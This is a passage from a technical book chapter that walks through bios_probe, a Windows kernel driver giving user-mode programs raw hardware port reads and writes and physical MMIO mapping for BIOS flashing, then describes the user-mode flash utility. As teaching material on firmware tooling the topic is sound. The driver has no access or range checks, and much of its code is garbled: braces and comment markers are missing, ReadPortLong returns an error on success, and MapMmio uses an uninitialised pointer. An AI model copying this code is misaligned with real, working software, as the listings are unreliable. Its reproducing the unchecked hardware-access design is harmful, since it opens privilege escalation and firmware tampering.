    // required to supply a dispatch routine for IRP_MJ_CREATE.
    //
    BIOS_PROBE_KDPRINT(("IRP_MJ_CREATE\n"));
    Irp->IoStatus.Information = 0;
    //
    // Save Status for return and complete Irp.
    //
    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    BIOS_PROBE_KDPRINT(" DispatchCreate Exit = %x\n", status);
    return status;
}

NTSTATUS ReadPortByte(PIRP pIrp)
/*++
Routine Description:
Process the IRPs with the IOCTL_READ_PORT_BYTE code.
This routine reads a byte from the designated port
and returns the value to the user-mode application
through pointer to the locked-down user-mode buffer
in the IRP.

Arguments:
pIrp - pointer to an I/O Request Packet.
Return Value:
- NT Status code
--*/
{
    NTSTATUS status = STATUS_SUCCESS;
    IO_BYTE* pUsermodeMem = (IO_BYTE*) MmGetSystemAddressForMdlSafe(
        pIrp->MdlAddress, NormalPagePriority );

    if( NULL != pUsermodeMem) {
        _asm
        {
            pushad                  ;// Save all register contents
            mov ebx, pUsermodeMem  ;// Build a user-mode memory pointer
            ;// Register
            mov dx,[ebx].port8      ;// Fetch the input port address
            in  al,dx              ;// Read the byte from the device
            mov [ebx].value8, al    ;// Write the probing result directly
            ;// to user-mode memory
            popad                   ;// Restore all saved register values
        }
    } else {
        status = STATUS_INVALID_USER_BUFFER;
    }

    return status;
}

NTSTATUS ReadPortWord(PIRP pIrp)
/*++
Routine Description:
    Process the IRPs with the IOCTL_READ_PORT_WORD code.
    This routine reads a word from the designated port
    and returns the value to the user-mode application
    through the pointer to the locked-down user-mode buffer
    in the IRP.
Arguments:
    pIrp - Pointer to an I/O request packet.
Return Value:
    NT Status code
--*/
{
    NTSTATUS status = STATUS_SUCCESS;
    IO_WORD* pUsermodeMem = (IO_WORD*) MmGetSystemAddressForMdlSafe(
        pIrp->MdlAddress, NormalPagePriority );

    if( NULL != pUsermodeMem) {
```c
NTSTATUS ReadPortLong(PIRP pIrp)
{
    NTSTATUS status = STATUS_SUCCESS;
    IO_LONG* pUsermodeMem = (IO_LONG*) MmGetSystemAddressForMdlSafe(
        pIrp->MdlAddress, NormalPagePriority);

    if( NULL != pUsermodeMem ) {
        __asm
        {
            pushad                    ;// Save all register contents
            mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer
            // Register
            mov dx, [ebx].port32      ;// Fetch the input port address
            in  eax, dx               ;// Read the bytes from the device
            mov [ebx].value32, eax    ;// Write the probing result directly to
            // user-mode memory
            popad                    ;// Restore all saved register values
        }
        status = STATUS_INVALID_USER_BUFFER;
    }
    return status;
}
```
NTSTATUS WritePortByte(PIRP pIrp)
{
    /*++
    Routine Description:
    Process the IRPs with the IOCTL_WRITE_PORT_BYTE code.
    This routine writes a byte to the designated port.
    The value of the byte and the port address are obtained
    through the pointer to the locked-down buffer in the IRP.
    Arguments:
    pIrp - Pointer to an I/O request packet.
    Return Value:
    NT Status code
    --*/

    NTSTATUS status = STATUS_SUCCESS;
    IO_BYTE* pUsermodeMem = (IO_BYTE*) MmGetSystemAddressForMdlSafe(
        pIrp->MdlAddress, NormalPagePriority);

    if( NULL != pUsermodeMem) {
        __asm
        {
            pushad                   // Save all register contents
            mov ebx, pUsermodeMem   // Build a user-mode memory pointer
            // Register
            mov dx, [ebx].port8      // Fetch the input port address
            mov al, [ebx].value8     // Read the value to be written directly
            // From user-mode memory
            out dx, al               // Write the byte to the device
            popad                    // Restore all saved register values
        }
    } else {
        status = STATUS_INVALID_USER_BUFFER;
    }

    return status;
}

NTSTATUS WritePortWord(PIRP pIrp)
Routine Description:
Process the IRPs with the IOCTL_WRITE_PORT_WORD code.
This routine writes a word to the designated port.
The value of the word and the port address are obtained
through the pointer to the locked-down buffer in the IRP.

Arguments:
  pIrp - Pointer to an I/O request packet.

Return Value:
NT Status code
--*/
{
  NTSTATUS status = STATUS_SUCCESS;
  IO_WORD* pUsermodeMem = (IO_WORD*) MmGetSystemAddressForMdlSafe(
    pIrp->MdlAddress, NormalPagePriority);

  if( NULL != pUsermodeMem ){
    _asm
      {
        pushad          ;// Save all register contents
        mov ebx, pUsermodeMem  ;// Build a user-mode memory pointer
                               ;// Register
        mov dx, [ebx].port16   ;// Fetch the input port address
        mov ax, [ebx].value16  ;// Read the value to be written
                               ;// directly from user-mode memory
        out dx, ax            ;// Write the bytes to the device
        popad               ;// Restore all saved register values
      }
    } else {
      status = STATUS_INVALID_USER_BUFFER;
    }

    return status;
  }

NTSTATUS WritePortLong(PIRP pIrp)
/*++
Routine Description:
Process the IRPs with the IOCTL_WRITE_PORT_LONG code.
This routine writes a dword to the designated port.
The value of the dword and the port address are obtained
through the pointer to the locked-down buffer in the IRP.

Arguments:
  pIrp - Pointer to an I/O request packet.

Return Value:
NTSTATUS status = STATUS_SUCCESS;

IO_LONG* pUsermodeMem = (IO_LONG*) MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);

if( NULL != pUsermodeMem) {
    asm
    {
        pushad                   ;// Save all register contents
        mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer
                                ;// Register
        mov dx, [ebx].port32     ;// Fetch the input port address
        mov eax, [ebx].value32   ;// Read the value to be written directly
                                ;// from user-mode memory
        out dx, eax              ;// Write the bytes to the device
        popad                    ;// Restore all saved register values
    }
}
else {
    status = STATUS_INVALID_USER_BUFFER;
}

return status;

NTSTATUS MapMmio(PDEVICE_OBJECT pDO, PIRP pIrp)
/*++
Routine Description:
    Process the IRPs with the IOCTL_MAP_MMIO code.
    This routine maps a physical address range
to the user-mode application address space.
Arguments:
    pDO - Pointer to the device object of this driver.
    pIrp - Pointer to an I/O request packet.
Return Value:
    NT Status code
Notes:
    This function can only map the area below the 4-GB limit.
/*--*/
{  
PDEVICE_EXTENSION pDevExt;
  PHYSICAL_ADDRESS phyAddr;
  PMMIO_MAP pUsermodeMem;
  ULONG i, free_idx;  

pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;

//
// Check for a free mapZone in the device extension.
// If none are free, return an error code.
//
for(i = 0; i < MAX_MAPPED_MMIO; i++)
{
  if( pDevExt->mapZone[i].sysAddrBase == NULL )
  {
    free_idx = i;
    break;
  }
}

if( i == MAX_MAPPED_MMIO )
{
  return STATUS_INVALID_DEVICE_REQUEST;
}

//
// a free mapZone has been obtained; map the physical address range.
//
phyAddr.HighPart = 0;
phyAddr.LowPart = pUsermodeMem->phyAddrStart;
pDevExt->mapZone[free_idx].sysAddrBase = MmMapIoSpace(phyAddr,
  pUsermodeMem->size, MmNonCached);
if(NULL == pDevExt->mapZone[free_idx].sysAddrBase)
{
  return STATUS_BUFFER_TOO_SMALL;
}
pDevExt->mapZone[free_idx].pMdl = IoAllocateMdl(
  pDevExt->mapZone[free_idx].sysAddrBase,
  pUsermodeMem->size, FALSE,
  FALSE, NULL);
if(NULL == pDevExt->mapZone[free_idx].pMdl)
{
  MmUnmapIoSpace( pDevExt->mapZone[free_idx].sysAddrBase,
    pUsermodeMem->size);
  pDevExt->mapZone[free_idx].sysAddrBase = NULL;
  return STATUS_BUFFER_TOO_SMALL;
}
pDevExt->mapZone[free_idx].size = pUsermodeMem->size;

// Map the system virtual address to the user-mode virtual address
//
MmBuildMdlForNonPagedPool(pDevExt->mapZone[free_idx].pMdl);
pDevExt->mapZone[free_idx].usermodeAddrBase =
   MmMapLockedPagesSpecifyCache( pDevExt->mapZone[free_idx].pMdl,
       UserMode, MmNonCached,
       NULL, FALSE, NormalPagePriority);
if(NULL ==  pDevExt->mapZone[free_idx].usermodeAddrBase)
{
   IoFreeMdl(pDevExt->mapZone[free_idx].pMdl);
   MmUnmapIoSpace(pDevExt->mapZone[free_idx].sysAddrBase,
       pDevExt->mapZone[free_idx].size);
pDevExt->mapZone[free_idx].sysAddrBase = NULL;
pDevExt->mapZone[free_idx].size = 0;
   return STATUS_BUFFER_TOO_SMALL;
}

// Copy the resulting user-mode virtual address to the IRP "buffer"
pUsermodeMem->usermodeVirtAddr =
   pDevExt->mapZone[free_idx].usermodeAddrBase;
   return STATUS_SUCCESS;
}

NTSTATUS CleanupMmioMapping(PDEVICE_EXTENSION pDevExt, ULONG i)
{/**
Routine Description:
   This is routine cleanup the mapping of a MMIO range
   and the resources it consumes.
Arguments:
   pDevExt - Pointer to the device extension of the driver.
   i - Index of the mapZone to cleanup.
Return Value:
   NT Status code
--*/
  if( NULL != pDevExt->mapZone[i].usermodeAddrBase )
  { 
    MmUnmapLockedPages( pDevExt->mapZone[i].usermodeAddrBase,
        pDevExt->mapZone[i].pMdl);
    pDevExt->mapZone[i].usermodeAddrBase = NULL;
  }
  if( NULL != pDevExt->mapZone[i].pMdl )
  {  

IoFreeMdl(pDevExt->mapZone[i].pMdl);
pDevExt->mapZone[i].pMdl = NULL;
}

if( NULL != pDevExt->mapZone[i].sysAddrBase )
{
    MmUnmapIoSpace( pDevExt->mapZone[i].sysAddrBase,
                    pDevExt->mapZone[i].size);
    pDevExt->mapZone[i].sysAddrBase = NULL;
    pDevExt->mapZone[i].size = 0;
}

return STATUS_SUCCESS;
}

NTSTATUS UnmapMmio(PDEVICE_OBJECT pDO, PIRP pIrp)
{ /*++
   Routine Description:
   Process the IRPs with the IOCTL_UNMAP_MMIO code.
   This routine unmaps a previously mapped physical
   address range.
   Arguments:
   pDO - Pointer to the device object of this driver.
   pIrp - Pointer to an I/O request packet.
   Return Value:
   NT Status code
   Notes:
   This function can only unmap the area
   below the 4-GB limit.
   --*/
   PDEVICE_EXTENSION pDevExt;
   PMMIO_MAP pMmioMap;
   ULONG i;

   // Unmap the requested zone from the system address space
   // and update the device extension data.
   pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
   pMmioMap = (PMMIO_MAP) MmGetSystemAddressForMdlSafe(
              pIrp->MdlAddress, NormalPagePriority );

   for(i = 0 ; i < MAX_MAPPED_MMIO; i++)
   { if(pDevExt->mapZone[i].usermodeAddrBase ==
                   pMmioMap->usermodeVirtAddr)
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )

/**
 * Argument Description:
 * DeviceObject - Pointer to a device object.
 * Irp  - Pointer to the current I/O request packet.
 *
 * Return Value:
 * NT status code.
 */

NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(pIrp);

switch(irpStack->Parameters.DeviceIoControl.IoControlCode)
{
    case IOCTL_READ_PORT_BYTE:
    {
        if(irpStack->Parameters.DeviceIoControl.InputBufferLength >=
        sizeof(IO_BYTE)) {
            status = ReadPortByte(pIrp);
        } else {
            status = STATUS_BUFFER_TOO_SMALL;
        }
    } break;
    case IOCTL_READ_PORT_WORD:
    {
        if(irpStack->Parameters.DeviceIoControl.InputBufferLength >=
        sizeof(IO_WORD)) {
            status = ReadPortWord(pIrp);
        } else {
            status = STATUS_BUFFER_TOO_SMALL;
        }
    } break;
    case IOCTL_READ_PORT_LONG:
{ 
if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_LONG)) {
    status = ReadPortLong(pIrp);
} else {
    status = STATUS_BUFFER_TOO_SMALL;
} break;

case IOCTL_WRITE_PORT_BYTE:
{ 
if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_BYTE)) {
    status = WritePortByte(pIrp);
} else {
    status = STATUS_BUFFER_TOO_SMALL;
} 
} break;

case IOCTL_WRITE_PORT_WORD:
{ 
if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_WORD)) {
    status = WritePortWord(pIrp);
} else {
    status = STATUS_BUFFER_TOO_SMALL;
} 
} break;

case IOCTL_WRITE_PORT_LONG:
{ 
if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_LONG)) {
    status = WritePortLong(pIrp);
} else {
    status = STATUS_BUFFER_TOO_SMALL;
} 
} break;

case IOCTL_MAP_MMIO:
{ 
if( irpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(MMIO_MAP)) {
    status = MapMmio(pDO, pIrp);
} else {
    status = STATUS_BUFFER_TOO_SMALL;
} 
} break;
case IOCTL_UNMAP_MMIO:
    {
        if(irpStack->Parameters.DeviceIoControl.InputBufferLength >=
            sizeof(MMIO_MAP)) {
            status = UnmapMmio(pDO, pIrp);
        } else {
            status = STATUS_BUFFER_TOO_SMALL;
        }
    } break;

default:
    {
        status = STATUS_INVALID_DEVICE_REQUEST;
    }break;

    // Complete the I/O request and return appropriate values.
    //
    pIrp->IoStatus.Status = status;

    // Set the number of bytes to copy back to user mode.
    if(status == STATUS_SUCCESS)
    {
        pIrp->IoStatus.Information =
            irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    }
    else
    {
        pIrp->IoStatus.Information = 0;
    }
    IoCompleteRequest( pIrp, IO_NO_INCREMENT );
    return status;

NTSTATUS DispatchRead( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
    { /*++
        Routine Description:
        Read dispatch routine.
        
        Arguments:
        DeviceObject - Pointer to a device object.
        Irp - Pointer to the current I/O request packet.
        
        Return Value:
        NT status code.
        
        Note:
    */++}
This function does nothing. It's merely a placeholder to satisfy the need of the user-mode code to open the driver with a GENERIC_READ parameter.

```c
{ // Just complete the I/O request right away.
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
```

NTSTATUS DispatchWrite( IN PDEVICE_OBJECT pdo, IN PIRP pIrp )

Routine Description:
Write dispatch routine.

Arguments:
- DeviceObject - Pointer to a device object.
- Irp  - Pointer to the current I/O request

Return Value:
NT status code.

Note:
This function does nothing. It's merely a placeholder to satisfy the need of the user-mode code to open the driver with a GENERIC_WRITE parameter.

```c
{ // Just complete the I/O request right away.
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
```

NTSTATUS DispatchClose( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

Routine Description:
Process the close IRPs sent to this device.

Arguments:
DeviceObject - Pointer to a device object.
Irp - pointer to an I/O Request Packet.

Return Value:
   NT status code

Note:
   This function clean ups the mapped MMIO ranges that
   haven't been cleaned up by a "buggy" user-mode application.
   --
{
   PDEVICE_EXTENSION pDevExt;
   ULONG       i;
   NTSTATUS    status = STATUS_SUCCESS;

   BIOS_PROBE_KDPRINT("DispatchClose Enter\n");

   pDevExt = DeviceObject->DeviceExtension ;

   //
   // Clean up the mapped MMIO space in case the user-mode
   // application forgets to call UnmapMmio for some MMIO zones.
   // This is to guard against some buggy user-mode application.
   //
   for(i = 0; i < MAX_MAPPED_MMIO; i++)
   {
      if(pDevExt->mapZone[i].sysAddrBase != NULL)
      {
         CleanupMmioMapping(pDevExt, i);
      }
   }

   //
   // The IRP_MJ_CLOSE dispatch routine is called when a file object
   // opened on the driver is being removed from the system; that is,
   // all file object handles have been closed and the reference count
   // of the file object must be down to zero.
   //
   BIOS_PROBE_KDPRINT("IRP_MJ_CLOSE\n");
   Irp->IoStatus.Information = 0;

   //
   // Save status for return and complete IRP.
   //
   Irp->IoStatus.Status = status;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);

   BIOS_PROBE_KDPRINT(" DispatchClose Exit = %x\n", status);

   return status;
}
VOID
DispatchUnload( IN PDRIVER_OBJECT DriverObject )

/*++
Routine Description:
    Free all allocated resources, etc.
Arguments:
    DriverObject - Pointer to a driver object.
Return Value:
    VOID
--*/
{
    PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
    UNICODE_STRING uniWin32NameString;
    
    BIOS_PROBE_KDPRINT(("DispatchUnload Enter\n");
    
    RtlInitUnicodeString( &uniWin32NameString,
        BIOS_PROBE_DOS_DEVICE_NAME_U );
    IoDeleteSymbolicLink( &uniWin32NameString );
    ASSERT(!deviceObject->AttachedDevice);
    IoDeleteDevice( deviceObject );
    BIOS_PROBE_KDPRINT(("DispatchUnload Exit\n");
    return;
}

Listing 9.11 shows the implementation of functions declared in listing 9.10. I'll explain the functions one by one.

The DriverEntry function executes when Windows loads the device driver into memory. The first thing this function does is install the function pointers for the driver "services":

DriverObject->DriverUnload = DispatchUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE]= DispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;

---

12 Services in this context are the subroutines or functions that the driver provides for a user-mode application to use. They are requested by the user-mode application through the Windows API.
DriverObject in the preceding code snippet is a pointer to the driver object for bios_probe. It's passed by the Windows kernel to the driver when the kernel initializes the driver. Several function pointers must be initialized. You saw that the function pointer members of the driver object are initialized to point to the functions that previously have been declared in the header file. For example, the DriverUnload member of the driver object is initialized with a pointer to the DispatchUnload function. DriverUnload is the function executed when the driver is unloaded from memory. This function pointer must be initialized for the device driver to work. Next, the MajorFunction array is for members of the driver object. This array contains pointers to functions that deal with IRPs. Once the members of this array are being initialized, the I/O manager will pass the right IRP into its associated function in the bios_probe driver when a user-mode application is requesting a service from the driver. For example, when a user-mode application calls the CreateFile API to open a handle to the driver, the driver will serve this request in the function pointed to by the MajorFunction[IRP_MJ_CREATE] member of the bios_probe driver object, DispatchCreate. When a user-mode application calls the CloseHandle API and passes the handle of the bios_probe driver that it receives from a previous call to the CreateFile API as the input parameter to CloseHandle, the driver will serve this request in the function pointed to by the MajorFunction[IRP_MJ_CLOSE] member of the bios_probe driver object, DispatchClose. As for the function pointed to by the MajorFunction[IRP_MJ_READ] member of the driver object, it will be called when a user-mode application calls the ReadFile API and passes the handle of the bios_probe driver. Furthermore, DispatchWrite deals with the call to the WriteFile API, and DispatchIoControl deals with the call to the DeviceIoControl API. Note that each of the function pointer members of the MajorFunction array is called from the user mode through the Windows API. The Windows API in turn "calls" the I/O manager. Then, the I/O manager generates the IRP to inform the driver to respond with the right function to serve the user-mode application. The process of "calling" the functions pointed to by the MajorFunction array is shown in figure 9.4.
How can the user-mode application open a handle to the driver? The driver must be visible to the user-mode application to achieve that. A device driver can be visible to the user-mode application in Windows 2000/XP through the object manager. This part of Windows 2000/XP manages the objects within the operating system. Everything that has been exported to the object manager namespace will be visible to the user-mode application and can be opened through the `CreateFile` API. The driver name\(^{13}\) is exported by creating a Unicode name for the driver with the `RtlInitUnicodeString` kernel function:

```c
RtlInitUnicodeString(&unicodeDeviceName, BIOS_PROBE_DEVICE_NAME_U);
```

Then, pointer to the resulting Unicode name is used as the third parameter in the call to `IoCreateDevice` when you create the device for the driver. This way, the driver will be visible to the user-mode code. However, you have to traverse the object manager namespace to arrive at the driver, i.e., pass `\\.\Device\unicodeDeviceName`\(^{14}\) as the first parameter to the `CreateFile` function. The `CreateFile` function is defined as follows:

```c
HANDLE CreateFile(  
    LPCTSTR lpFileName,  
    DWORD dwDesiredAccess,  
    DWORD dwShareMode,  
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,  
    DWORD dwCreationDisposition,  
    DWORD dwFlagsAndAttributes,  
    HANDLE hTemplateFile );
```

---

\(^{13}\) The driver name as seen from object manager is not the file name of the driver.

\(^{14}\) The `unicodeDeviceName` string is only a placeholder. You have to change it to the real name of the device.
In many cases, a symbolic link is created by the DriverEntry function to ease the user-mode application. The bios_probe driver is no exception in this case. You saw the following in listing 9.11:

```c
// Allocate and initialize a Unicode string containing the Win32 name
// for the device.
//
RtlInitUnicodeString( &unicodeDosDeviceName,
    BIOS_PROBE_DOS_DEVICE_NAME_U );

status = IoCreateSymbolicLink(
    (PUNICODE_STRING) &unicodeDosDeviceName,
    (PUNICODE_STRING) &unicodeDeviceName
);
```

In this snippet, a symbolic link is created. Thus, the CreateFile function can open a handle to the driver by just passing `\\.\unicodeDosDeviceName`. Nonetheless, it's a matter of taste whether to create a symbolic link or not.

Functions pointed to by the MajorFunction member of the driver object have a common syntax:

```c
NTSTATUS FunctionName( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
```

The I/O manager passed two parameters to these functions when they are being called. The first parameter is a pointer to the device object associated with the driver, and the second is a pointer to the IRP data structure in the nonpaged pool of the kernel memory space.

Remember that device object is different from driver object. There is only one driver object for each driver; there can be more than one device object for each driver, i.e., if the driver contains more than one device. How do you know if a driver contains more than one device object? Just look at how many times the driver calls the IoCreateDevice function in its source code. Every call to IoCreateDevice creates one device object. That is if the function call was successful. In the bios_probe driver, this function is called only once, during the execution of the DriverEntry function:

```c
status = IoCreateDevice( DriverObject, 
    sizeof(DEVICE_EXTENSION),
    &unicodeDeviceName, 
    FILE_DEVICE_UNKNOWN, 
    0,
    (BOOLEAN) FALSE,
    &deviceObject);
```

The unicodeDosDeviceName string is only a place holder. You have to change it to the real symbolic link name of the device.
In the end of DriverEntry function execution, the contents of the device extension are initialized. The device extension contains information about mapping the BIOS chip into user-mode application:

```c
typedef struct _MMIO_RING_0_MAP{
    PVOID sysAddrBase;      // The starting system virtual address of
    // the mapped physical address range
    ULONG size;             // Size of the mapped physical address range
    PVOID usermodeAddrBase; // Pointer to the user-mode virtual address
    // where this range is mapped
    PMDL pMdl;              // Memory descriptor list for the
    // MMIO range to be mapped
}MMIO_RING_0_MAP, *PMMIO_RING_0_MAP;

typedef struct _DEVICE_EXTENSION{
    MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO];
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
```

In the preceding code snippet, it's clear that the device extension data structure is capable to map physical address ranges. The maximum number of ranges that can be mapped by the device extension is MAX_MAPPED_MMIO.

I'm not going to explain the DispatchCreate function because this function does nothing. It's just setting the "success" value to return to the I/O manager when it's invoked. It exists merely to satisfy the requirement to respond the CreateFile and CloseHandle API with the right value when a user-mode application opens the access to the driver.

The most important part of the driver is the IOCTL code handler. Most communication between the user-mode application and the bios_probe driver occurs using IOCTL code. Once a handle to the driver is successfully opened, IOCTL code will flow to the driver. The code is handled by DispatchIoControl function. In this function, the IOCTL code is examined in a big switch statement and the appropriate handler function is called to serve the request. For example, when an IOCTL code of the type READ_PORT_BYTE is accepted, the DispatchIoControl function will invoke ReadPortByte. ReadPortByte then responds by fetching a byte from the requested hardware port and transfer the result to the user-mode application. Note that some parts of ReadPortByte is implemented as an inline assembly routine because the code is dealing with the hardware directly. All similar handler functions, i.e., ReadPortWord, ReadPortLong, WritePortByte, WritePortWord, and WritePortLong, work similarly to ReadPortByte. The differences lie in the sizes of the function parameters that they work with and in the types of operations they carry out. Functions that start with the word write carry out a write operation to the designated hardware port.

Other functions invoked by DispatchIoControl are MapMmio and UnmapMmio. These functions map and unmapped the physical address ranges to/from the virtual address space of the user-mode application. The BIOS address range is a MMIO address

---

16 This physical address space includes the BIOS chip address space.
range. You can map a certain MMIO address range into the virtual address space of a user-mode application\(^\text{17}\) as follows:

1. Map the I/O address range from the physical address space into the kernel's virtual address space with the \texttt{MmMapIoSpace} function.
2. Build a memory descriptor list (MDL) to describe the I/O address range that's mapped into the kernel's virtual address space in step 1.
3. Map the I/O address range from the kernel's virtual address space obtained in step 1 into the user-mode virtual address space with the \texttt{MmMapLockedPagesSpecifyCache} function. The first parameter of this function is the MDL obtained in step 2.
4. The return value of step 3 is a pointer to the starting address of the mapped I/O address range as seen from the virtual address space of the user-mode application.

The preceding steps are accomplished in the \texttt{MapMmio} function:

```c
NTSTATUS MapMmio(PDEVICE_OBJECT pDO, PIRP pIrp)
/*++
Routine Description:
Process the IRPs with the IOCTL_MAP_MMIO code.
This routine maps a physical address range
to the user-mode application address space.
Arguments:
pDO - Pointer to the device object of this driver.
pIrp - Pointer to an I/O request packet.
Return Value:
NT Status code
Notes:
This function can only map the area below the 4-GB limit.
--*/
{
    PDEVICE_EXTENSION pDevExt;
    PHYSICAL_ADDRESS phyAddr;
    PMMIO_MAP pUsermodeMem;
    ULONG   i, free_idx;

    pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
    //
    // Check for a free mapZone in the device extension.
    // If none is free, return an error code.
    //
    for(i = 0; i < MAX_MAPPED_MMIO; i++)
```

\(^{17}\) The I/O address range is mapped in the kernel mode device driver.
if( pDevExt->mapZone[i].sysAddrBase == NULL )
{
    free_idx = i;
    break;
}
}

if( i == MAX_MAPPED_MMIO )
{
    return STATUS_INVALID_DEVICE_REQUEST;
}

// A free mapZone has been obtained; map the physical address range.
//
// pUsermodeMem = (MMIO_MAP*) MmGetSystemAddressForMdlSafe( pIrp->MdlAddress, NormalPagePriority );
// Error handler code omitted
phyAddr.HighPart = 0;
phyAddr.LowPart = pUsermodeMem->phyAddrStart;

pDevExt->mapZone[free_idx].sysAddrBase = MmMapIoSpace( phyAddr,
    pUsermodeMem->size, MmNonCached);
// Error handler code omitted

pDevExt->mapZone[free_idx].pMdl = IoAllocateMdl( pDevExt->mapZone[free_idx].sysAddrBase,
    pUsermodeMem->size, FALSE, 
    FALSE, NULL);
// Error handler code omitted

pDevExt->mapZone[free_idx].size = pUsermodeMem->size;

// Map the system virtual address to the user-mode virtual address
//
// MmBuildMdlForNonPagedPool(pDevExt->mapZone[free_idx].pMdl);
// Error handler code omitted

// Copy the resulting user-mode virtual address to the IRP "buffer"
// Error handler code omitted
pUsermodeMem->usermodeVirtAddr = pDevExt->mapZone[free_idx].usermodeAddrBase;

return STATUS_SUCCESS;
The reverse of mapping the BIOS address space into a user-mode application is carried out in `UnmapMmio`. This function must be called when you are done tinkering with the BIOS chip in your user-mode application. Otherwise, the system probably crashed. Nonetheless, I have added a workaround for a user-mode application that fails to do so in the `bios_probe` device driver. This workaround is placed in the `DispatchClose` function.

9.3.2. User-Mode Application of bios_probe

The original user-mode component of `flash_n_burn` in Linux supports many flash ROM chips. In this subsection I won't explain support for all of those chips in `bios_probe`. I will just take one example: Winbond W39V040FA.

The user-mode part of `bios_probe` consists of two logical components:

1. **The main application.** This component consists of several files: `direct_io.c`, `error_msg.c`, `flash_rom.c`, `jedec.c`, `direct_io.h`, `error_msg.h`, `flash.h`, `jedec.h`, and all other source files for flash ROM chip support. The name of the flash ROM support files are the same as the chip names or part numbers. `Bios_probe` execution starts in `flash_rom.c` file. `Flash_rom.c` contains the entry point function, `main`. This main application is based on `bios_probe` source code from the Freebios project.

2. **The PCI library.** The files of this component are placed in `libpci` directory inside the `exe` directory. Its purpose is to detect the PCI devices that exist in the system and construct objects to represent them. The data structure is used by the main application to enable access to the BIOS chip through the southbridge that exists in the system. This component consists of several files, i.e., `access.c`, `filter.c`, `generic.c`, `i386-ports.c`, `header.h`, `internal.h`, and `pci.h`. This library is a Windows port of the original PCI library in `pciutils` version 2.1.11 for Linux by Martin Mares. I removed many files from the original library to slim it down and keep the source code manageable; `bios_probe` doesn't need them.

I explain the components individually in the next subsections. The explanation for the PCI library is brief.

9.3.2.1. The Main Application

I start with a short explanation of the purpose of each file in the main application source code:

- **`flash_rom.c`.** This file contains the entry point to `bios_probe`, i.e., the `main` function. It also contains the routine to invoke the PCI library, the routine to enable access to the flash ROM chip through the southbridge, and an array of objects that contain the support functions for the flash ROM chips. The
implementation of the flash ROM chip handler exists in the support file for each type of flash ROM.

- **flash.h.** This file contains the definition of a data structure named `flashchip`. This data structure contains the function pointers and variables needed to access the flash ROM chip. The file also contains the vendor identification number and device identification number for the flash ROM chip that `bios_probe` supports.

- **error_msg.h.** This file contains the display routine that declares error messages.

- **error_msg.c.** This file contains the display routine that implements error messages. The error-message display routine is regarded as a helper routine because it doesn't possess anything specific to `bios_probe`.

- **direct_io.h.** This file contains the declaration of functions related to `bios_probe` device driver. Among them are functions to directly write and read from the hardware port.

- **direct_io.c.** This file contains the implementation of functions declared in `direct_io.h` and some internal functions to load, unload, activate, and deactivate the device driver.

- **jedec.h.** This file contains the declaration of functions that is "compatible" for flash ROM from different manufacturers and has been accepted as the JEDEC standard. Note that some functions in `jedec.h` are not just declared but also implemented as inline functions.

- **jedec.c.** This file contains the implementation of functions declared in `jedec.h`.

- **Flash_chip_part_number.c.** This is not a file name but a placeholder for the files that implement flash ROM support. Files of this type are `w49f002u.c`, `w39v040fa.c`, etc.

- **Flash_chip_part_number.h.** This is not a file name but a placeholder for the files that declare flash ROM support. Files of this type are `w49f002u.h`, `w39v040fa.h`, etc.

Consider the execution flow of the main application. First, remember that with `ctags` and `vi` you can decipher program flow much faster than going through the files individually. Listing 9.12 shows the condensed contents of `flash_rom.c`.

**Listing 9.12 Condensed flash_rom.c**

```c
/*
 * flash_rom.c: Flash programming utility for SiS 630/950 M/Bs
 *
 * Copyright 2000 Silicon Integrated System Corporation
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by the
 * Free Software Foundation; either version 2 of the License, or (at your option) any later version.
 *
 * ...
 */
```
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "libpci/pci.h"
#include "error_msg.h"
#include "direct_io.h"
#include "flash.h"
#include "jedec.h"
#include "m29f400bt.h"
#include "msys_doc.h"
#include "am29f040b.h"
#include "sst28sf040.h"
#include "w49f002u.h"
#include "82802ab.h"
#include "sst39sf020.h"
#include "mx29f002.h"

struct flashchip flashchips[] = {
        "W49F002U", WINBOND_ID, W_49F002U, NULL, 256, 128,
        probe_49f002, erase_49f002, write_49f002, NULL, NULL,
        "W39V040FA", WINBOND_ID, W_39V040FA, NULL, 512, 4096,
        /* TODO: The sector size must be correct! */
        probe_39v040fa, erase_39v040fa, write_39v040fa, NULL, NULL},

        // Irrelevant entries omitted
{NULL,};

char *chip_to_probe = NULL;

// Irrelevant code omitted

int enable_flash_vt82C596B(struct pci_dev *dev, char *name) {
    unsigned char val;

    // Enable the FFF00000h-FFFF7FFFFh, FFF80000h-FFFFDFFFFFh, and
    // FFFE0000h-FFFFFFFFh ranges to be decoded as memory
    // access to the BIOS flash ROM chip
    val = pci_read_byte(dev, 0x43);
